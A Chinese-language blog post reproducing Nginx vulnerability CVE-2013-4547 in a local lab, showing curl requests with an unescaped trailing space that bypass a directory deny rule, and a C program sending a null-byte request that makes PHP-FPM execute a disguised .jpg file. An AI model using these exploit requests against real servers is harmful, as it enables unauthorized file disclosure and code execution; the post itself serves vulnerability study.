首页 > *nix技术, nginx, 数据泄露, 网络安全, 网络攻防 > Nginx漏洞CVE-2013-4547复现

Nginx漏洞CVE-2013-4547复现

2016年4月1日 发表评论 阅读评论 15,072 次浏览

每一个漏洞的面世都是软件开发者的无意和黑客/白客的有意的共同结晶,它们之中大多数的诞生都是在某位或某几位程序猿经历千辛万苦,体验重重空虚寂寞冷之后的产物,以至于每一个漏洞都是如此的身价不菲。能与这些高富帅们勾搭上是我一直以来的梦想,可惜当前能力和时间有限,只能拔一拔它们的裤腿,瞅准了一把抱住,再深情的来一句:土豪,我们做朋友吧。

今天出场的这位高富帅是CVE-2013-4547,属于Nginx 0.8.41至1.4.3版本和1.5.7之前的1.5.x版本中存在的安全漏洞,可以看到其影响面非常大,不愧为土豪大佬的身份。具体来说是Nginx程序验证包含未转义空格字符的请求URIs时存在逻辑错误,远程攻击者可以利用该漏洞绕过既定的配置限制,导致信息泄露、系统文件被修改、性能下降或中断资源访问。

漏洞危害利用是黑客针对软件的瑕疵,构造异常的运行环境,让软件的瑕疵暴露出来,从而获取非法利益。我个人认为漏洞危害利用有三个要素:
1,软件存在漏洞(瑕疵):所有软件都会有漏洞,如果没有漏洞,那说明还没发现,如果还足够称得上是软件的话。
2,构造漏洞暴露的条件:这个条件的构造应该是非常苛刻的,非常难的,如果很容易,那可能需要考虑一下,这个是否是后门,而不是漏洞。或者,好吧,也许真有这种情况,毕竟现在在培训学校里学习三天就开始写软件的人也有大把。
3,不当得利:我有八字真言:“玩玩而已,何必当真。”,一般人我不告诉他,得此精髓的人都被关在小黑屋里捡肥皂去了。

不说废话,下面看看如何借助CVE-2013-4547来干些坏事。纯理论学习啊,后果自负啊!说说可以啊,不要动手啊!

第一部分:信息泄漏,即通过该漏洞访问保护的文件。
1,首先得找个有该漏洞的Nginx WebServer,我这里在CentOS 6.2环境下随便安装一个吧,

[root@localhost gqk]# tar xf nginx-1.4.0.tar.gz
[root@localhost gqk]# cd nginx-1.4.0
[root@localhost nginx-1.4.0]# ./configure --with-debug --without-http_rewrite_module
[root@localhost nginx-1.4.0]# make & make install

configure的选项没什么特别的,加上debug只是方便调试,去除rewrite_module是因为我现在的环境没有pcre库,因为不影响这个漏洞,所以直接去掉了。

2,启动Nginx看看是否基本ok
[root@localhost nginx-1.4.0]# /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf
通过wget访问http://127.0.0.1
[root@localhost nginx-1.4.0]# wget –debug http://127.0.0.1
嗯,ok。

3,构造环境
根据注1的介绍,
a)我们需要修改Nginx配置文件,增加一个保护目录,该目录不让用户访问:

    location /protected/ {
        deny all;
    }

修改了配置,所以需要重启Nginx:/usr/local/nginx/sbin/nginx -s reload

b)需要web目录下有一个带有空格的文件夹:

[root@localhost html]# ls -F
50x.html  dir1/  dir 2/  dir3 /  index.html  protected/
[root@localhost html]# ls protected
sec.html

为了对比测试,我建立了四个文件夹(注意上面第一条命令,我给ls加了-F参数,所以如果是文件夹,它会在后面带上斜杠):
dir1:没有任何空格
“dir 2″:中间有个空格
“dir3 “:末尾有个空格
protected:保护目录,同时该目录下还有个sec.html的文件

c)构造请求
构造的请求uri里的空格不能被编码,而浏览器或wget都会自动把空格编码为%20,因此我改用curl。

4,对比测试
a)直接请求sec.html,当然是被拒绝的,因为我们配置了保护protected目录的策略:

[root@localhost ~]# curl "http://127.0.0.1/protected/sec.html"
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.4.0</center>
</body>
</html>
1
b)构造特殊请求:
1
[root@localhost ~]# curl http://127.0.0.1/dir1/../protected/sec.html
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.4.0</center>
</body>
</html>
[root@localhost ~]# curl "http://127.0.0.1/dir 2/../protected/sec.html"
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.4.0</center>
</body>
</html>
[root@localhost ~]# curl "http://127.0.0.1/dir3 /../protected/sec.html"
<h1>
This is a secret document.
<h1/>

看到了吗?第三个构造的请求成功突破Nginx的保护策略而获取到被保护目录下的文件内容。

5,实际可应用程度
从上面的描述可以看到,要触发这个漏洞需要好几个条件:
a)Nginx 0.8.41至1.4.3版本和1.5.7之前的1.5.x版本。这个容易有,毕竟涉及的版本有这么多。
b)需要WebServer管理员对目录的保护采用这种普通字符匹配的策略,如果是其他保护策略(比如^~或~*),则条件满足失败。因特网站点千千万万,通过搜索肯定还是有这样配置的Nginx WebServer站点。
c)需要文件名末尾带有空格的文件夹,其他形式失败。怎么做?通过WebServer里站点提供的上传服务(如果有的话),上传对应的文件夹或压缩文件(如果服务器有提供解压功能)到服务器,然后期望服务器存储时没有对上传文件进行重命名而保留了空格。这个,有点难,现在的Web应用应该都会对高危文件(上传文件)做处理,比如改名是起码的。但是,慢慢的抠吧,成功就在不远处,如你的女神一般,永远那么飘渺。。。不过,也有逆袭的,是吧。。。

第二部分:未授权执行,即让Php引擎执行非php文件。
1,根据注1的内容,上面介绍的只是CVE-2013-4547的其中一个应用,即查看保护数据。而CVE-2013-4547的另外一个应用是恶意脚本非法执行,下面以php脚本为例,具体来看。
配置Nginx+Php环境,Php现在很流行。
下载php源码进行安装

[root@localhost gqk]# tar xf php-5.5.33.tar.bz2
[root@localhost gqk]# cd php-5.5.33
[root@localhost php-5.5.33]# ./configure --enable-fpm
[root@localhost php-5.5.33]# make
[root@localhost php-5.5.33]# make install

注意configure带的选项,需要打开fpm,如果要开启其他功能,比如mysql,请使用–with-mysql=…选项。所有选项可以通过configure的–help查看。
准备配置文件:

[root@localhost php-5.5.33]# cp php.ini-production /usr/local/etc/php.ini
[root@localhost php-5.5.33]# mv /usr/local/etc/php-fpm.conf.default /usr/local/etc/php-fpm.conf
[root@localhost php-5.5.33]# php-fpm
[root@localhost php-5.5.33]# netstat -natp | grep 9000

如果可以grep到对应的php-fpm进程,说明php安装初步ok了。

需要重新编译Nginx,让它支持PCRE。
首先从http://www.pcre.org/下载pcre-8.38.tar.gz,然后三板斧./configure & make & make install安装。
如果后门Nginx出现找不到pcre库的报错,比如:
/usr/local/nginx/sbin/nginx: error while loading shared libraries: libpcre.so.1: cannot open shared object file: No such file or directory
那么可能需要在PCRE的configure时指定lib目录到/usr/lib64:
./configure –prefix=/usr –libdir=/usr/lib64

其次,重新编译Nginx就是在configure时不要带上–without-http_rewrite_module。
修改Nginx配置文件,加上PHP支持:

location ~ \.php$ {
    root html;
    fastcgi_pass 127.0.0.1:9000;
    fastcgi_index index.php;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    include fastcgi_params;
}

最后,写个简单的test.php测试一下,

访问确保php正常解析。

2,构造环境
a)在默认配置下,Php-fpm只让php引擎执行php后缀的文件,因此第一个条件是要修改配置文件
/usr/local/etc/php-fpm.conf
把里面的limit_extensions设置为空。

; Note: set an empty value to allow all extensions.
; Default Value: .php
security.limit_extensions = 

b)在web目录下新增一个文件”cve.jpg “(注意这是一个末尾带有空格的文件),内容为php代码:

<?php
echo "Illegal execution.";
?>

c)我们构造一个伪造请求,请求的地址为”/cve.jpg \0.php”,注意两点:
i)其中的空格没有编码
ii)\0是一个字符,是零,是字符串的结束字符。

3,测试
伪造请求,因为我们要伪造的请求里包含有字符串的结束字符\0,因此curl命令貌似是不能用了,至少我暂时是还不知道怎么传递这个\0给curl命令,可能有办法,需要查手册。
不过因为我之前研究Nginx时,写过这样的Http请求代码来调试Nginx逻辑,所以先直接用这个可行的办法,代码如下:

/**
 * gcc -Wall -g -o bogus_request bogus_request.c
 */
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>

char req_header[] = "GET /cve.jpg \0.php HTTP/1.1\r\nUser-Agent: curl/7.19.7\r\nHost: 127.0.0.1\r\nAccept: */*\r\n\r\n";
#define MAX_DATA_LEN (1024)
char res_data[MAX_DATA_LEN];

int main(int argc, char *const *argv)
{
      int sockfd;
      struct sockaddr_in server_addr;

      if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) == -1) {
             fprintf (stderr, "Socket error,%s\r\n", strerror (errno));
             return -1;
      }
    
      bzero (&server_addr, sizeof (server_addr));
      server_addr.sin_family = AF_INET;
      server_addr.sin_port = htons (80);
    
      if(!inet_aton("127.0.0.1", &server_addr.sin_addr)) {
             fprintf (stderr, "Bad address:%s\r\n", strerror (errno));
             close (sockfd);
             return -1;
      }
    
      if (connect (sockfd, (struct sockaddr *) (&server_addr),
             sizeof (struct sockaddr)) == -1) {
             fprintf (stderr, "Connect Error:%s\r\n", strerror (errno));
             close (sockfd);
             return -1;
      }
    
      write (sockfd, req_header, sizeof(req_header) - 1);
	  
	  for (;;) {
             read (sockfd, res_data, MAX_DATA_LEN);
             printf ("res:%s", res_data);
      }

      close (sockfd);
      return 0;
}

编译执行看结果:

[root@localhost ~]# gcc -Wall -g -o bogus_request bogus_request.c -O0
[root@localhost ~]# ./bogus_request 
res:HTTP/1.1 200 OK
Server: nginx/1.4.0
Date: Wed, 23 Mar 2016 10:04:42 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.5.33

12
Illegal execution.
0

可以看到我们成功利用漏洞欺骗Nginx误以为”cve.jpg \0.php”是一个Php脚本而传递给Php-fpm的Php引擎进行执行,而Php引擎在查找定位文件”cve.jpg \0.php”时又被\0截断,导致最终执行的脚本文件是”cve.jpg “。

4,实际可应用程度
因为同样要构造文件名末尾带空格的文件,因此这个漏洞其实难以被真正利用。原因在前面提到过了,不再多说。不过这只是Linux下的情况,那Windows环境下又如何呢?

第三部分:Windows环境
这个漏洞在Windows环境下的利用价值就大大增强了,因为漏洞利用的前置条件”文件名末尾带空格的文件”不再需要。Windows下的API在读取文件时,会自动忽略对应文件名后的空格,也就是:
read “a.txt ” -> 实际读取的是文件”a.txt”
write “b.txt ” -> 实际写的是文件”b.txt”

下面是测试代码(VC6下测试,注2):

#include "stdafx.h"
#include <windows.h>
 
int main(int argc, char* argv[])
{
	HANDLE hFile = CreateFile("a.txt ",GENERIC_WRITE|GENERIC_READ, 0,
		NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
 
	if (hFile ==INVALID_HANDLE_VALUE) {
		printf("openfailed!");
	} else {
		printf("fileopened");
	}

	CloseHandle(hFile);
	return 0;
}

注意程序里用的是”a.txt “,而我们准备一个”a.txt”文件在对应路径下,上面的代码也可以正常打开,输出”fileopened”。
事实上,在Windows的文件管理里,新建文件时,在文件名后带上空格,敲回车后生成的新文件文件名是没有带空格的,即被自动过滤掉了。也许就是和上面同样的原因。

正因为在Windows下去掉了这个最困难的前置条件,所以该漏洞的可利用程度就大大提高了。

第四部分:Nginx相关漏洞代码分析
暂略,不想写了,囧。

注1:http://mailman.nginx.org/pipermail/nginx-announce/2013/000125.html?_ga=1.47291106.451110384.1458696222
注2:http://drops.wooyun.org/tips/2006

转载请保留地址:http://www.lenky.info/archives/2016/04/2488http://lenky.info/?p=2488


备注:如无特殊说明,文章内容均出自Lenky个人的真实理解而并非存心妄自揣测来故意愚人耳目。由于个人水平有限,虽力求内容正确无误,但仍然难免出错,请勿见怪,如果可以则请留言告之,并欢迎来讨论。另外值得说明的是,Lenky的部分文章以及部分内容参考借鉴了网络上各位网友的热心分享,特别是一些带有完全参考的文章,其后附带的链接内容也许更直接、更丰富,而我只是做了一下归纳&转述,在此也一并表示感谢。关于本站的所有技术文章,欢迎转载,但请遵从CC创作共享协议,而一些私人性质较强的心情随笔,建议不要转载。

法律:根据最新颁布的《信息网络传播权保护条例》,如果您认为本文章的任何内容侵犯了您的权利,请以Email或书面等方式告知,本站将及时删除相关内容或链接。

  1. 本文目前尚无任何评论.
  1. 本文目前尚无任何 trackbacks 和 pingbacks.